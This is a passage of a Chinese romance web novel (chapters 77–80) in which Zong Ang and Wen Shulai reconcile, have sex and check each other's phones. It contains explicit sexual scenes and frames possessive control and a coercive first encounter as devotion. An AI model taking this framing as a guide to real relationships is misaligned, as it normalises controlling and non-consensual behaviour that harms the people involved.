可后来温纾莱说,她只把他当成一个炮/友。 他听到温纾莱分配给他这样一个身份,整个人都是懵的,伤心、委屈、愤怒,一起淹没他。 当温纾莱提出到此为止,他又只花了一秒钟就劝服自己。 炮友就炮友,比起失去她,只要能待在温纾莱身边,是什么身份不重要。 他并非圣人,心里也有气,那晚离开温纾莱公寓前撂下的那几句话是脱口而出,不掺一丝假意也不带任何功利性的目的,只不过怨忿消散后他也希望温纾莱能哄哄自己。 等了一天又一天,温纾莱都杳无音讯。 他便开始慌张,开始反思他是不是又哪里做错惹到她不开心。 他真的舍不得生温纾莱的气,她都不必做什么,光是站在那里,他都能像条狗似的晃着尾巴向她奔去。 他又不敢再擅自找她,他变成了一个瞻前顾后的人。 所以当宗霖给他铺好一个台阶时,他立即就滚下去了。 去接温纾莱的路上他一再告诫自己要好好做人,别再犯浑,但他太高估自己。 一见到温纾莱,他的占有欲就势不可挡地爆发,更无理智可言。 “我知道我不该干涉你,不该限制你,要给你自由,要尊重你,可我真的没办法跟别人分享你,更没办法接受你对我视而不见。” “我设想过很多种我们再重逢的场景,我会以一个全新的、你理想当中的面貌重新站在你面前,也构思过很多见到你后第一句话的版本,那天晚宴我只想偷偷去看一看你,我没想在那天去找你,那不符合我的预期,可当我看见你和韩子彦那么亲密的走在一起,我就什么都不管不顾了。” “我长这么大从来没有后悔过,唯独对你,我这两年里总在想,如果当初我没有顺水推舟,而是把你送去医院,然后再正常的追求你,我们的结局会不会就能好一点。” 宗昂擦净她的手,又执拗地牵住,他敛眸看着他们二人相交的指缝,语速缓慢却诚恳。 “但我无论怎么推翻重演,我的选择还是不会变,一碰到你我就装不来正人君子,而且那时你一直都在压抑自己,我正常的去接触你你只会对我避之不及,所以不管重来多少次我都还是会在你向我求助的那晚强行跟你产生联接。” “所以你那晚根本没有被下药对吗?”温纾莱早就有所怀疑,事情过去太久她也气不起来,心绪还挺平稳。 “你又骗我。” “没骗你,是真的,只是那杯酒我喝的不多,要比你清醒一点。”宗昂发毒誓:“撒谎的人这辈子都不会再被你原谅。” 温纾莱稍感无语。 这么主观的一个誓言可信度在哪里? 反向推论,她要是不原谅他那岂不是就能印证他在撒谎? 宗昂和温纾莱的思想显然不在同一纬度,他只觉得这样说更能体现他的真诚。 得到温纾莱的原谅在他那里就是天大的事情。 这么一打岔,交心又落入僵局。 宗昂絮絮叨叨讲那么多,还不清楚温纾莱的想法,于是将主导权交给她。 “你呢,有没有什么想跟我说的?” 温纾莱下意识想驳斥他说没有,许是宗昂这次的袒露心扉触动到她,压下原话,她问出纠结于心多年的一个疑问:“我一直都不知道你为什么会喜欢我。” 宗昂经常会向她表白,可是为什么呢? 她在点滴的积累中对宗昂动心,那么他呢? 在温纾莱的视角里,宗昂就是一个突然闯进她平静枯燥世界里的一个不可控、带着神秘色彩的未知物。 她能在宗昂的一言一行中感受到他对她的喜爱,但那份喜爱在她看来没有支撑可言,也毫无征兆。 基于两人混乱的初始,她一面自作主张地将宗昂的喜爱归结为是“高位者的玩闹游戏”,一面又矛盾的在宗昂对她的付出中找出他真心的蛛丝马迹。 他最初就罔顾她已有男友的事实,以”刺激“为由强硬地占有她,她以为他是图好玩,但他的那份玩心持续不断,给她资源给她人脉,甚至还能豁出命陪她一同坠海。 回国重逢,虽然是误会,但他也是再一次在”明知她已有男友“的情况下越过道德边界。 然后今晚又跟她剖心。 从前温纾莱就拿不准宗昂的行为轨迹,现在也搞不清他的心意到底如何。 “我也不知道为什么会喜欢你。”宗昂长睫撩起,抬起那只与她十指相扣的手,用手背轻蹭她的脸颊:“在我爸的剧组我们是第一次见面,但在那之前,我就已经知道你了。” “因为我爸说我写作没天赋,推了你获奖的那部影片过来,我起了好胜心,那部片子的每一处情节设置我分析过数遍,你发的微博我都有研究,分享的每一部电影我都从头到尾看完,我在网上找到那年大学生电影节的颁奖帖,看到了你的照片,笑得很傻。” “那段时间我连做梦都是你。”宗昂眼眸明亮:“我们之间的确不平等,从一开始就是我在仰视你。” 第77章 第 77 章 “你愿不愿意再给我一次…… 温纾莱恍然愣住。 风大了些, 吹动岑寂的树叶沙沙作响,天气预报凌晨时分有雨,夜晚染上一抹凉意, 宗昂问温纾莱冷不冷, 她摇头。 披散的发丝翻飞乱舞, 她别到耳后挽起,摸手腕摸了个空, 忘记带发圈。 宗昂见状, 又在副驾的储物箱里翻出一个黑色的发绳给她。 温纾莱惯爱背托特包、双肩包,那就是她的百宝箱,能掏出平板、笔记本、纸笔和一套简约的化妆用品, 但她也不是时时刻刻都能算无遗策。 发圈、纸巾这样的小物件她就总会遗漏。 有次她外拍起晚, 头发没来得及扎, 发圈一个没带, 等她忙完宗昂去接她, 见她用一次性口罩绑着头发。 温纾莱那天的穿着打扮是浅色系, 在外奔波一天也照样整洁清新,只是头发那处打理的潦草一些,宗昂就她很落魄,很心疼她。 在那之后, 宗昂就在他的每一辆车里都置办了一套温纾莱的个人用品, 以备不时之需。 她用不上他也会定时更换。 这个习惯未曾更改, 保留至今。 温纾莱垂眼接过, 指腹捻了下发圈。 三两下绑好长发。 宗昂没再牵她, 人也坐正,他视线飘渺无落点地望向前方:“我记得我们出海那一晚你跟我说我们之间的差距很大,觉得我要风得风要雨得雨, 可我们之间你才是那个主导者,我走没走进你心里,能走到哪都是你说了算,我也总是在你那里失败受挫。” 两人第一夜后温纾莱的落荒而逃,篮球场再见面她的避之不及,他步步紧逼之下她的厌烦与冷漠。 在他的紧追不舍下,温纾莱好不容易扭转对他的态度,他们的感情步入正轨,日渐稳定,又被他埋葬在自己手里。 “虽然这么说像在为我自己开脱,但我也是第一次恋爱,第一次知道喜欢的定义,我知道我做得很过分,得到什么的结果都是我活该。” 这一点他不得不承认。 年轻气盛,不懂情爱,更不知分寸,他一时兴起拉开这场以他和温纾莱为主的二人剧目,自以为能掌控全局,实则剧情早在悄无声息间偏离他心血来潮的初衷。 他像只无头苍蝇一样在舞台上乱飞乱撞,最终溃败收场。 宗昂话锋一转:“你知道那次坠海我醒来后见到的第一个人是谁吗?” 温纾莱猜不到。 “是我妈派来看着我的保镖。” 宗昂现在想想那时他一睁眼,病房里站着三个彪形大汉的那个场面还是很好笑,他很懵,而他妈就坐在他病床边处理工作,瞥到他醒来,还让他先等会儿,等她忙完再给他叫医生来检查。 “我妈跟我说她已经送你回国,但也事先问了你的意愿,其实我妈不必派人看着我,我当时已经决定要放你走了。” “你宁可向一个你都不了解的人求助都不愿意再接受我,我做什么都留不住你了。“ 虽然埃琳娜后来得到应有的教训与惩罚,但在和宗昂的那一场较量中,她是实实在在的胜者。 他喜欢的人丢弃他,和他最为厌恶的人合作引他入局。 这是心理上的一击致命伤。 可他仍然无法生温纾莱的气,那都是他咎由自取。 他知道是他做的太过,逼得太紧,致使温纾莱病急乱投医,去相信一个素未谋面的人。 温纾莱不清楚埃琳娜的为人,他清楚,得知温纾莱被埃琳娜带走,他只剩恐惧。 怕温纾莱在那个疯女人手里受到伤害。 后来他的担忧得到印证。 看到温纾莱身陷险境,他再没有别的想法。 宗昂说:“我那会儿就想,只要你能平安,我一辈子都不出现在你面前都可以。” 温纾莱置于腿上的手指一蜷,她垂眸一瞬又转向窗外的苍茫夜色。 胸口起伏。 “可我又食言了。” 人都是贪心的,在一切都风平浪静后,宗昂那颗装满温纾莱的又心死灰复燃。 他很想温纾莱。 “你不喜欢我做的那些,所以我这两年从来没有打听过你的事情。” 宗昂曾接到过孔佳茉打来骂他的越洋电话,连骂近十分钟不带喘气,宗昂记忆深刻的一句是“一个合格的前任就该像死了一样”。 他想,和温纾莱恋爱的时候他不是一个合格的男朋友,那么总得做一个合格的前任吧。 他把对温纾莱的思念转移到其他地方,回宾大继续读书,毕业后帮他妈分担工作,莉娅交给他的每一项任务他都出色完成,得到他妈一句“你成熟不少”的夸赞后就会深思他是否达到回国找温纾莱的标准。 “我不知道你这两年里经历过什么,你的开心、难过对我来说都是空白的。” 这对于以前温纾莱事事都要过问的他来说,是一种抓心挠肝的折磨。 他减小声音,低落沮丧:“而有人却能陪在你身边分享你的喜怒哀乐。” 这个“有人”他没明说是谁,但温纾莱心知肚明。 说不清她此刻的感触,整个人像是浸泡在苦瓜腌制的海水中,酸胀又滞苦。 “没人陪我。”她嗓音发涩:“我和韩子彦没谈,我和谁都没谈。” 宗昂忽而看回她:“真的?” 上扬的语调,发颤的尾音。 带着不可置信的惊喜。 “真的。”温纾莱攥了攥手,也侧回头,对上他布满期待的眼睛:“没骗你。” 刚刚脱离危机回到北京的那段时间,温纾莱还会幻想有朝一日她和宗昂再和好,可是时间一长,她被学业、工作占据填满,就越发觉得她和宗昂破镜难圆。 因为她在无意间开启了新生活,设身处地想想,宗昂也必定不会原地踏步。 而他们本就不是一路人,站在两条相隔甚远的线上,短暂交集过后只会越走越远。 她不是特地在等宗昂,只是好似失去了再喜欢上别人的能力。 看谁都是一个模样,待谁都是一种心境。 她的心湖变成一潭死水,任谁都再也搅动不起涟漪。 在她认为或许她再也不会体会“喜欢”和“动心”是什么感觉后,宗昂回来了。 回来找她了。 “那你还……”宗昂说话都变得不太利索:“为什么?” 温纾莱听懂他的言外之意:“我和余泽帆在一起的时候你说我有男朋友才最好,那样玩更刺激,这次你又说即便我有男朋友也不会妨碍你我,我就觉得你又是想玩玩。” 她活得沉闷又拘谨,宗昂的一举一动在她看来能称得上是石破天惊,她为此忌惮也为此着迷。 当她发觉宗昂不如她所想那般诚实,她就会退缩,但她又被他吸引。 所以她才把宗昂摆在炮友的位置,若即若离。 那是她在自我保护。 “温纾莱,你没有心吗?”宗昂喉结滚动,抖着嗓子质问:“只是玩玩我干嘛还给你铺那么多路,给你出气,求着宗霖多照顾你,车里常备你的用品,公寓里你用过的东西空瓶了我还当宝贝的留着,你见过谁这么玩的?” 温纾莱又不吭声了。 就是这样。 她永远都是这副死犟的闷葫芦性子。 宗昂唇角紧抿了抿,他重重呼出一口气。 “算了,都过去了。” 像是一句结束语。 温纾莱又扣弄起她的指甲:“那你想要怎么样?”有一个倒刺,她瞧着碍眼,狠心一撕,针扎般的疼痛袭来,血珠冒出。 她即刻攥住,没让宗昂看见。 宗昂问:“我想怎么样就怎么样?” 温纾莱“嗯”一声。 “嘭”—— 远处一点光束腾空而起,随后在漆黑夜幕中炸开绚烂烟花。 看方向,应是宗霖开轰趴的那栋别墅。 温纾莱有听宗霖说,本命年就是要大操大办,他特意花大价钱定制了一批烟花,要卡着他出生的时间点庆祝贺寿。 “有一次我带你去工作室找我爸,挨了一巴掌,你为了哄我开心带我去音乐节。” 在一波烟花放完的间隙,宗昂插空出声:“那天晚上也放了烟花。” 温纾莱靠在座椅里,仰望着回归沉寂的夜空。 蓦地,手被人拽走。 “我当时问你,你要不要和我谈一场正式的恋爱。”宗昂掌心朝上,平托着她的手:“现在,我想再问一遍。” 选择权交给她。 第二波烟花如约而至,满天星火照耀漫漫长夜。 映照着彼此的眼眸波光流转。 往日悲惨不甘的结局将要重写。 “温纾莱,你愿不愿意再给我一次机会,和我谈一场正式的恋爱。”宗昂赤诚地大声告白:“这次我一定不会再让你失望。” 第78章 第 78 章 新的篇章 烟花绚丽夺目, 夜晚沉黑迷人,远处高楼大厦灯火辉煌,而他们远离城市喧嚣, 人和心都靠得很近。 宗昂还平稳托着她的手, 不催也不动, 给她充裕的时间来决定。 烟花的花样变得愈发繁复多彩,被宗昂那样专注地注视着, 温纾莱也无暇欣赏, 他澄澈的眼眸倒映着她的身影,热忱又纯挚。 让温纾莱有种她是他的全世界的错觉。 不,也许不是错觉。 她就是他的全世界。 温纾莱找不到什么有力的理由去拒绝宗昂, 也不想拒绝, 更是拒绝不了。 宗昂这个人就是她的对照, 是她循规蹈矩生活中的变故, 也是一抹极致耀眼的色彩。 她被他所迷。 她转动手腕, 扣住他的手掌。 十指交握, 再无间隔。 八百多个销声匿迹的日日夜夜,在这一刻,终于迎来新的篇章。 …… …… 天气预报预估有误,还不到凌晨, 温纾莱和宗昂前脚刚重归于好, 后脚天空就飘下蒙蒙细雨。 雨势来得猛又快, 待他们开回山脚, 零星小雨已转至成瓢泼大雨。 雨滴噼里啪啦地砸在挡风玻璃上, 极其催眠的白噪音。 烦乱的症结解开,温纾莱身心放松,又打起瞌睡。 和好后反而没那么多话要讲了, 车里如同来时一般安静,区别在于不再僵涩生硬。 宗昂隔一会儿就瞥一眼温纾莱,不知瞥到第多少次,温纾莱靠在椅背里朝他这边歪着脑袋,纤长的睫毛在她眼底投下一片剪影。 腾出一只手伸过去:“你又是多长时间没好好睡觉了?” 温纾莱听见了,但没有立刻回他。她上下眼皮粘合在一起,对外界的感知是耳边的雨声和宗昂抚在她脸颊上的手,睫毛被他的指腹轻轻撩动,有些痒,她抓住他的手甩回去:“不知道,你好好开车。” 温纾莱是恪守章程的好好学生,开车从不一心二用接打电话玩手机,哪像宗昂那样没规没矩。 以往宗昂开车,温纾莱就跟个监督员似的坐在副驾,一旦他要开小差,想牵她的手或是碰碰她哪里,温纾莱就会一巴掌打掉。 今天能容许他摸她片刻已经是在纵容。 宗昂笑了笑,没再得寸进尺。 郊区到市中心平日里就得一个多小时,这回赶上下大雨,路程延长,等开回公寓,已是凌晨快一点钟。 温纾莱在宗昂旁边睡得很是安心,车都停进地库,她还睡得无知无觉。 宗昂也没叫她,火没熄,冷风调小,双手垫着下巴,他趴在方向盘上盯着温纾莱。 从她的额头作为起点描摹,划过挺翘的鼻梁,再到圆润的唇珠。 只是这样看着,什么都还没做,莫可名状的燥意就瞬时燃起。 也不怪温纾莱不信他,他一见到温纾莱就会起生理反应,像是只会交/配的原始动物。 他不想这样,可他控制不住。 但他对别人又全无兴趣。 别人脱光站在他面前都不如温纾莱一个招手让他激动。 不能再看,再看他会忍不住弄醒她,扭过头去瞅车窗外黑黢黢的地库。 心绪还未平复,副驾就窸窸窣窣的发出声响。 温纾莱迷蒙地睁开眼:“到了?” “嗯。”宗昂清咳一声:“雨太大,我这里离得比较近,你又睡得香,我就没问你直接带你回来了。” 温纾莱沉静地瞧着他。 宗昂被她看得直发毛,他也是死性不改,给点阳光就灿烂,刚和好就本性毕露。他从善如流地滑跪认错:“好,对不起,我不该不问你就带你来我这里,我又自作主张了。” 说着,他就要发动车子把温纾莱送回她的公寓。 “不用了,我不是那个意思。”温纾莱拦住他,蜷着手用指背揉了揉困乏的眼睛:“我刚才就是在想,你是不是看了我很久。” 她不是自然醒来,是在睡梦中感到如有实质的目光在她身上寸寸游移。 “是啊。”宗昂不带半分被揭穿后的羞涩,他就不懂这俩字怎么写,坦坦荡荡地点头,“好久都没有好好看你了,我很想你。” 论时刻表露心迹这一点,温纾莱就是去专业培训班深造都比不过宗昂天赋异禀。 心跳在悄然加速,温纾莱面上不显:“下车吧。” 她解开安全带,触上车门。 宗昂拽着她不让她走,索要她的回应:“你想不想我?” 温纾莱少女时期追偶像剧,剧中的男男女女或多或少都会因“不会说话”而闹出太多不必要的矛盾,她能共情这一点,因为她就是一个不会讲话的人。现在她要纠正,要改变。 于是她给出符合宗昂所期盼的答案。 “想的。”她说:“我这两年也想过很多,如果那个时候我能早一点、勇敢一点告诉你我喜欢你,你是不是就能有足够的安全感,也就不会发生后面那么多的事情。” 纵然她不喜欢余泽帆,可那一段堪称为“污点”的恋情也在一定程度上无形中影响到她处理感情的方式。 和宗昂的荒谬开场让她消极悲观,他们之间在她看来是天差地别,相距甚远,更是不敢交付全部。 幸好为时不晚,现在他们拥有了一个全新的开端。 “我喜欢你”这四个字戳中宗昂的命脉,他眼圈有些泛红:“那你单独说一遍,说你喜欢我,我就原谅你。” 她好像还真从未跟宗昂说过这四个字。 是欠他这一句。 温纾莱浅吸口气,正视着他,一字一顿地补偿他:“宗昂,我喜欢你。” 宗昂眼更红,还蒙上一层水光,凑近她:“你再亲我一下,我就再也不跟你计较了。” 温纾莱偏了偏头,吻了下他的唇。 宗昂提要求:“舌/吻。” “……”温纾莱推开他:“你差不多得了。” 就说人不能太惯着,宗昂这样打蛇随棍上的更是不能太放纵。 宗昂一笑:“那我来?” 他迫不及待,最后一个字的话音吞没在他们二人的唇齿间。 解除困局后的第一个吻,宗昂探得深且重,掠夺着温纾莱的呼吸,像是要把这两年错过的时光都在这个吻中寻回来。 他下唇被温纾莱咬破结痂的部分又往外丝丝渗着血,铁锈的味道在口腔中蔓溢,宗昂小气地叼住温纾莱唇瓣上的一小块肉,但不舍得咬破,只让她也疼一下就放开。 留下一个齿痕,温纾莱下意识舔了舔。 这样一个动作就把宗昂弄得上火。 他觉得他还是得收敛一点,别一和好就这么没出息,免得温纾莱以为他再追回她就是为了干那事儿。 宗昂先开门下车,还顺势拎走她的包,温纾莱落后他一步,宗昂没回头,往后递出一只手,屈指勾了勾,温纾莱会意,手放上去牵住他。 宗昂娴熟地改为十指相扣。 他如今最爱这样的牵手模式,穿插交/融,密不可分。 电梯上行,两人面朝电梯壁镜,镜中的他们并肩而立。 宗昂压制下的结果就是大动作没有小动作不断,蹭蹭温纾莱的头发,扒拉扒拉她的腰带,趁其不备再偷亲一下她的脸。 坐个电梯都花样百出。 温纾莱烦不胜烦,倒也没制止他。 出电梯,宗昂让她去开门:“你的指纹还在。” 温纾莱的拇指摁在识别框,“嘀”的一声,门开。 宗昂的公寓她住过一年,熟知房内布局,她打开灯,在鞋柜里找出一双女士拖鞋,不是她以前住这里穿过的那双。 宗昂旁观着她行动,挑唇笑:“给你新买的,之前那双太旧了。” 温纾莱点点头,她边换鞋边语气认真地讲:“宗昂,你做你自己就好了,不用装出和你本性相反的模样来讨好我,如果你做了我不喜欢的事情我会告诉你,你再改就好。” “真的?” “真的。” 宗昂歪头:“那我想跟你做。” 第79章 第 79 章 “我好爱你” “贪得无厌”就是宗昂的代名词。 温纾莱那句“做你自己就好”的指令下达后, 宗昂二话不说就痛快丢掉他的那些扮乖伎俩,什么懂事、贤良、大度,这些褒义词统统都跟他不搭边。 他就是一个满脑子都是温纾莱, 恨不得全天二十四小时都贴着她, 把她时刻揣在身边, 对她身边除去血亲家人外的每一位异性都抱有最高敌意的偏执狂。 浴室里雾气沼沼,换风系统都抽不走极速滋生发酵的暧昧高热。 他们两个人很少在浴室, 温纾莱不太能受得住面对面的站立式, 她的着力点只有托抱着她的宗昂,偶尔也会增添一处冰凉的瓷壁。 但宗昂也不会全程让她都靠墙,他的占有欲不只局限于人, 他希望温纾莱不论何时能依靠的就只有他这一个选项。 站立式进得太深, 而且很滑, 不好控制。 宗昂撞的每一下都乱七八糟, 无法预料他下一次会碰到哪里, 无意间戳到敏/感点, 温纾莱都得缓上好半天。 弄过一次后,温纾莱说什么都不肯在浴室,宗昂搂着她把他们二人身上冲洗干净,在外间找了条宽大的浴巾从头到脚将温纾莱裹住。 他自己就赤/条条的, 光明磊落得不行。 温纾莱没眼看:“你能不能穿上点衣服?” 宗昂装傻充愣, 无辜地摊开手臂:“我这还湿着, 怎么穿衣服?” “那你擦擦。”温纾莱从浴巾里探出手, 在置物架上抽了条浴巾给他。 “反正一会儿还要脱, 你又不是没见过。”它刚还在你身体里。 后半句宗昂没说,识时务地咽回去,他看到温纾莱的脸在变得更红, 眼也在瞪着他。 他勾勾嘴角,展开那条比裹着温纾莱那条小几圈的浴巾,系在腰间,遮住关键部位。 蜿蜒的人鱼线登时染上引人遐想的意味,腰身精窄,腹肌分明。 遮挡比袒露更情/色。 温纾莱脑袋还浆糊着,做了个究极冒傻气的举动——掩耳盗铃地背过身。 宗昂看得直乐。 他女朋友真的好可爱,明明有时也会大着胆子引诱他,抽起烟喝起酒来熟练的像是个不良分子,可依然纯净如白纸,动不动就脸红耳热。 就是这份反差,简直吃死宗昂。 宗昂是个急性子,但在对待温纾莱有关的事情上,他耐心出奇的好,温纾莱懒得吹干的头发他能吹得一根湿头发丝儿都没有,怕她在这个过程中没劲,拿了平板过来让她坐着玩,他就跟发廊小哥似的服务周到地伺候她。 温纾莱和宗昂的兴趣爱好相差蛮多,她的闲余时间会拿来刷剧、看书,混迹在各大社交平台,算是宅女标配。宗昂完全与她相反,他是个执行力很强的运动爱好者,登山徒步、潜水冲浪,他热爱一切户外活动。 一动一静。 两个迥然不同的性格体现在方方面面,他们二人电子设备上下载的软件就是“第一案发现场”。 温纾莱光是看剧的软件就有六七个,宗昂就一个,她关注的博主大多是电影解析和治愈系vlog,宗昂则是点赞旅游探险类的视频居多。 风格有异,温纾莱刷了会儿他的账号顿感无趣,退出,正要锁屏,又看到界面上的相册,她仰起头:“我想看看你的相册。” 宗昂抖吹着她的头发,从容说:“你看啊,说了我的东西你随便动,没有瞒着你的。” 这话很耳熟。 上次他也这么说过,没多久就爆雷被温纾莱找到他偷摸保存的视频。 引发二人分手。 温纾莱瞧着上方的宗昂,没动。 宗昂被她这一盯也好记性的回忆起来,他又是一笑:“这次是真的,视频我早就删了,我以后都不会再骗你,你用分手来教训我,我是长记性了的。” 温纾莱抓住他拨弄自己耳垂的手丢开,搓掉他留存下来的痒意。点开相册,划拉两下。 放眼望去,满屏都是他们两人之前那一年恋爱的定格记录,有他们二人的合照,有宗昂镜头里各种角度下的她,还有一些两人吃的饭、看的电影的照片。 “照片我一张都没删。”他状似随意,又流露出几分小心翼翼:“你那里的删了吗?” 温纾莱手里也有他们的合照,张数较少,都是宗昂用她手机拍的,拍完也会传到他手机里。 温纾莱头也不抬:“删了,我没有分手后还留着前任东西的习惯。” 宗昂闭嘴了。 被她这一句话杀得血条见底。 账号同步,宗昂手机里的照片也会实时导入至平板。 温纾莱退回相册底部,从最后一张往前翻。 相册后半部分都是宗昂这两年去往的各地。 有圣托里尼凌晨五点零九分的日出。 白墙染成金黄色的绸缎。 也有披着白雪在深夜中矗立的马特洪峰。 实况照片里收取到呼啸的山风。 每一张照片温纾莱都会停顿个四五秒,照片看完,她头发也都吹干。 平板横放在腿上,她转过身,忖度着问:“你会不会觉得和我谈恋爱很无聊?” 宗昂还憋着一口闷气,他不想搭理温纾莱,但行为不受大脑控制,本能违背他的意志。 “无聊我为什么还要跟你在一起,我又不是受虐狂。”理是理了,就是话很冲,每一个字都在传达“我在不高兴,快来哄我”的意思。 可温纾莱“哦”了一声就没下文了,一下下按着锁屏键,平板亮了又灭。 弄得宗昂不上不下。温纾莱这么问不会是空穴来风,宗昂捞起她的下巴,“怎么突然这么问。” 温纾莱第一反应是摇头:“没什么。”随后又抿起唇。 宗昂看出她的欲言又止,蹲下身,姿态放低:“你说,我在听。” 温纾莱尽力表达出口:“你喜欢到处去玩,我就很懒,我们的爱好都不一样,共同话题也很少。” “我喜欢玩和我喜欢你并不冲突,你想的话我们就一起去旅游,你懒得动我们就在家看你喜欢的电影,共同话题可以培养,培养不出来我们就一起沉默。”宗昂拉起她的手,偏头吻吻她的手腕,掌心覆着她的手背贴向自己的脸:“只要你陪着我,什么都不做我就觉得很好了。” 温纾莱承受力一般,宗昂眼里的炙热烫的她心尖发颤。 她垂眸:“哦。” “有件事我忘了跟你坦白。”宗昂说:“有两次我出去玩莫念琪也有跟,一次是恰好她在那边有工作,一次是她和我国外一个朋友的女朋友混熟,那个女生喊得她。” 温纾莱就没想过要告诉宗昂莫念琪找过她的事情,先不说宗昂已经明确拒绝过她,就是无论怎样,一个人的喜欢总归没有错,莫念琪又不是在她和宗昂恋爱期间追求宗昂,他们分手后莫念琪大方示爱无可指摘。 再者,宗昂知道这件事后,百分百会找上莫念琪为她出头,那样太过火了,对一个喜欢他的女孩子来说也太残忍。 温纾莱不愿看到那样的局面。 她和莫念琪之间的事情就交给她们女生来解决,况且她也没吃亏,莫念琪也被她堵得气闷。 不过宗昂的报备她很受用。 倾身亲了亲宗昂的眉心。 “是奖励我吗?”宗昂一整晚都在笑:“觉得我很乖很听话对吗?” 也不知是他眼神太黏还是故意在引导她。 总之这话听起来就很怪。 像是她在驯化他。 浴室里似乎又热起来,温纾莱抱着平板站起身:“你快吹你的头发吧,我出去等你。” 腿还未站直,怀里的平板就被人抽走丢在盥洗池边,薄薄的机身左摇右晃,要坠不坠,温纾莱伸手去扶:“诶——” 没能成功。 宗昂瞥了眼平板上的时间,卡着她腿弯抱起她,朝外走:“四点多了宝宝,别睡了吧,我们去等个日出。” …… …… 如注暴雨已停,玻璃窗上分布点缀着透明雨珠。 L型吧台紧贴窗边,酒瓶因撞击而发出乒乓的清脆声响中夹杂着黏/密的水声。 温纾莱踩在高脚凳上的一只脚,脚趾蜷缩抓起。 她揪着宗昂的头发,借此舒缓着过满的快/意。 “照片真的都删了?”宗昂眼皮上撩,嘴里叼着东西,吐字含糊喑哑。 温纾莱没听清,但这会儿她不能不理宗昂,否则她会被宗昂磨死,胡乱“嗯”一声。 事与愿违,她应完,宗昂就咬了她一下,下面也配合着。 温纾莱软得人差点儿从桌上滑下去。 宗昂及时接住她,又问:“真都删了?一张都没留?” 温纾莱这次听明白他在指什么,服软坦白:“没删,都在我手机里。”她嗓子湿得不成样, “那能给我检查一下吗?”宗昂啄问着她脸迹。 温纾莱哪敢说不:“那你先出来,手机在客厅。” 她得歇会儿喘口气。 “不急,等做完再看。”宗昂心满意足,人又阳光起来:“学坏了啊宝贝,故意骗我。” 温纾莱额头抵着他肩膀,说不出话。 天际线晕染开一抹橙红色的朝阳日光。 宗昂抱她下来,把她翻过去,从后拥入她。 音响里的歌在唱—— This one could run, (这次我会与你) On and on, (再续前缘) With all those sparks that never catch, (烈火重燃) (The way it is, just the way it is), (就是这样本该如此。) 在到达前的那一秒,宗昂俯在温纾莱耳边低语:“我好爱你。” 第80章 第 80 章 “嗨,哥” 圣托里尼的日出, 温纾莱没能和宗昂一起看,但他们在他的公寓里欣赏了一次夏季北京城的日出。 第一缕阳光照进落地窗洒在温纾莱白皙的肩头那一秒,宗昂在她耳边落下告白, 带领她一同攀上愉悦的顶峰, 是一场绝无仅有的体验。 纵/欲的后果就是周末第一天, 温纾莱全天都是睡过去的。 从酒屋里出来,天色已然大亮, 回主卧又洗了个澡, 可算躺到床上,温纾莱瞥了眼床头柜上的电子闹钟,那会儿都是清晨快七点钟。 时隔两年多, 在她的主动下他们的第一晚那次, 宗昂都没这么亢奋。 “和好”带给他的冲击力真蛮强的。 温纾莱一觉睡到下午六点, 中间被宗昂从床上薅起来吃了点东西, 她困得很, 垫巴两口就倒头继续睡。 她这一觉睡得昏天黑地, 醒来一时间都没记起来自己在哪儿,掀开被子赤脚往外走,打开主卧半掩的房门,宗昂坐在客厅的地毯上, 面前茶几上是一台笔记本。 这幅画面一下子将她拉回到从前。 她曾刷到过一篇情感博主的公众号, 大致是说, 分手再和好的情侣会短暂的恢复到热恋期, 失而复得的喜悦会让彼此都更为这段破碎过的感情而努力, 但他们在竭尽全力的同时,疲惫感也会成正比的上升,最终还是会落得个再分道扬镳的下场。 温纾莱也担心过和宗昂重修旧好后是否会尴尬、如履薄冰, 生怕有一处做不好再重蹈覆辙。 可宗昂就那么稀松平常地坐在那里,像大学恋爱时无数个她起床之后的时刻那样等她醒来。 萦绕在温纾莱心头的最后一丝顾虑霎时烟消云散。 ——“只要你陪着我,什么都不做我就觉得很好了”。 温纾莱想法和宗昂不同,有宗昂陪着她,她做什么都会觉得很好。 “醒了。”宗昂听到脚步声抬眸,笑容也扬起来:“饿不饿,你是想出去吃还是我订餐?” 一如既往地重视她吃饭这件事。 “去外面吃吧。” 温纾莱在床上躺一天,身体又僵又软,急需活动。 …… …… 宗昂的公寓就在市中心,地理位置好到不能再好,温纾莱想多走走,两人就没开车,溜达着找地方吃饭。 没去商场,行至一家麻辣烫店门口,闻着里面飘香的味道,温纾莱来了胃口。 进店找空桌坐下,温纾莱去夹菜,宗昂占着位子等她。 付完款转身,温纾莱就见宗昂指着她跟身侧的女生说着什么,女生也望她一眼,旋即抱歉地对她笑笑,疾步冲出店外。 屡见不鲜的一个场景。 拿着号码牌回到宗昂对面,温纾莱嘴都没动,宗昂就交代:“我没给,你可以检查。” 手机推到她手边。 温纾莱从不管束宗昂这一点,一是清楚他不屑于拈花惹草,二是这事还得靠本人自觉,和“只有千日做贼没有千日防贼”是一个道理。 不过宗昂似乎很喜欢被她管,记得大学时有一次他们二人就因为她过于信任他,导致他质疑她对他的喜欢。 思及此,温纾莱接过他的手机。 “密码你知道。”宗昂说。 温纾莱将她的生日数字倒叙输入,界面一跳,解锁。 她像模像样地把宗昂手机里每一个社交软件都翻了个遍,毫无收获。 宗昂托着腮,朝她扬了扬眉:“怎么样,我是不是很乖?” 温纾莱好笑:“是。” 宗昂摊手:“我也要检查你的,你答应我的。” 其实相互翻查手机这一行为挺幼稚的,真有猫腻的话又怎么会大剌剌摆出罪证等着别人发现,但是如果这样能让宗昂安心,温纾莱乐意陪他幼稚。 手机交给他:“密码没改。” 温纾莱的手机密码是她名字首字母拼音在九键键盘上对应的数字,正、反各两遍。 用了好多年,已经形成肌肉记忆,换了几部手机都没换过密码。 宗昂还惦记着温纾莱使坏糊弄他的事儿,解锁之后先查相册。 照片果然都还在,他又开心了。 再查微信。 温纾莱自认没有能让宗昂挑剔之处,可她低估了宗昂的小气程序。 他真的很心胸狭隘。 从她好友列表的第一位异性开始盘问,是谁、怎么认识的,还要点进他们的朋友圈去看照片,没有照片就问温纾莱他们长什么样子,帅不帅。 温纾莱不喜欢寡言的高岭之花,但她此刻甚是希望宗昂能高冷一些,别这么话多。 她被宗昂叨叨的好烦,只是耳朵嫌吵,心里并不。 这些男生都微不足道,宗昂最在意的是韩子彦。 号码牌震颤提醒,宗昂中断审讯,起身去前台取餐,回来拆了双一次性筷子先给温纾莱,眼睛不离她和韩子彦的聊天对话框。 温纾莱从不清理聊天记录,和有些人,比如孔佳茉她们的聊天记录能追溯到大一开学。她和韩子彦就是普通朋友,没事不闲聊,聊天内容很快就翻到头。 就算这样,宗昂都啧来啧去个没完。 “他怎么总是要送你回家,改行当滴滴司机了吗?” 